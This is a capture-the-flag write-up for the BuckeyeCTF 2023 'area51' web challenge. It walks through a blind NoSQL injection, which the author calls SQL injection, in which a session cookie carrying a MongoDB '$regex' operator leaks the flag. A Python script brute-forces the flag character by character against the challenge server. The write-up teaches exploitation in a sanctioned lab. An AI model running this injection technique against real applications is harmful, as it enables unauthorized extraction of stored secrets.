Published on

BuckeyeCTF 2023 – area51

Authors
  • avatar
    Name
    Lumy
    Twitter

area51

Stuck on what to name your stray cat?

Table of Contents

  1. Source code
  2. Solution

Source code

The description gives us a zip file containg the source of the challenge : area51

Solution

Here is the code of the index.js containing the routes of the application :

import { Router } from 'express';
const router = Router();
import User from '../User.js';

router.get('/', (req, res) => {
	var session = res.cookies.get("session");
	if (session) {
		session = JSON.parse(session);

		var token = session.token
		return User.find({
			session: token
		}).then((user) => {
			if (user.length == 1) {
				return res.render('dashboard');
			}

			return res.render('index');
		})
		.catch((e) => {
			res.json({ message: 'Hm server errored'});
		});
	}
	return res.render('index');
});

router.post('/api/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password && typeof username === 'string' && typeof password === 'string') {

		return User.find({ 
			username,
			password,
			admin: false
		})
			.then((user) => {
				if (user.length == 1) {
					var new_session = {
						token: user[0].session,
						username: user[0].username
					}
					res.cookies.set("session", JSON.stringify(new_session));

					if (user[0].admin) {
						return res.json({logged: 1, message: `Success! Welcome back chief stormer.` });
					} else {
						return res.json({logged: 1, message: `Success, welcome back ${user[0].username}.` });
					}
				} else {
					return res.json({logged: 0, message: 'Login failed :/'});
				}
			})
			.catch((e) => {
				return res.json({ message: 'Hm server errored'});
			});
	}
	return res.json({ message: 'Login failed :/'});
});

export default router;

As there is typeof username === 'string' && typeof password === 'string' it is not likely to have an SQL injection on the login section.

However, the vulnerability happens on the Get method in this code :

var session = res.cookies.get("session");
session = JSON.parse(session);

var token = session.token
return User.find({
  session: token
}).then((user) => {
  if (user.length == 1) {
    return res.render('dashboard');
  }

  return res.render('index');
})
.catch((e) => {
  res.json({ message: 'Hm server errored'});
});

The input is not sanitized and is directly put in the the SQL request.

This type of SQL injection is a blind injection : If the server reponds with the dashboard view, that's mean that it's a match and if it responds with the index, it is not a match.

Based on the init_users.js and User.js we can see that the flag is stored as a session variable in the user AlienAdmin class :

//init_user.js
db.users.insert( { username: "AlienAdmin", password: "***", admin: true, session: FLAG}, ... )

//User.js
let User = new mongoose.Schema({
	username: {
		type: String
	},
	password: {
		type: String
	},
	admin: {
		type: Boolean
	},
	session: {
		type: String
	}
})

Lets first connect with the a sample user from the init_user.js to have the Cookie structure :

{'username': 'jumpyWidgeon1', 'password': 'nLZpSRV3W2AgcbzQ7sjMlIaAcnPx8e', 'admin': false, 'session': 'zbkWxcyqRMVuWGnYhzjTfinPe5bYht'}

Based on the Cookie retrived, here is the payload that we can use at first as we know that the flag is in the database :

Cookie: session={"token":{"$regex": "bctf{.*"}}

It's responds with the dashboard view so it's a match !

Using burpsuite with the intruder mode, we can bruteforce and get the good chars that will result with the dashboard view.

Generation of the payload :

import string
print(string.printable)

# Output : 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

Let's start the attack with all this to test if we can get the first char of the flag :

We can see that the t will be the first char of the flag as the servers responds with the dashboard view.

As we are now sure of the vulnerability and the exploitation, Let's automate the process using python :

import requests
import json

url = "https://area51.chall.pwnoh.io/"

pwd = "bctf{"
finished = 0
while finished != 1:
    for char in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}':
        cookie_value = {
            "token": {"$regex": pwd + char + ".*"}
        }

        # Convert the dictionary to a JSON string
        cookie_value = json.dumps(cookie_value)

        # Create a session with requests
        session = requests.Session()
        session.cookies.set("session", cookie_value)

        response = session.get(url)

        if "Pardon our dust" in response.text:
            pwd += char
            print(pwd)
            if char == "}":
                finished = 1

Flag : : bctf{tH3yR3_Us1nG_Ch3M1CaS_T0_MaK3_Th3_F0gS_GAy}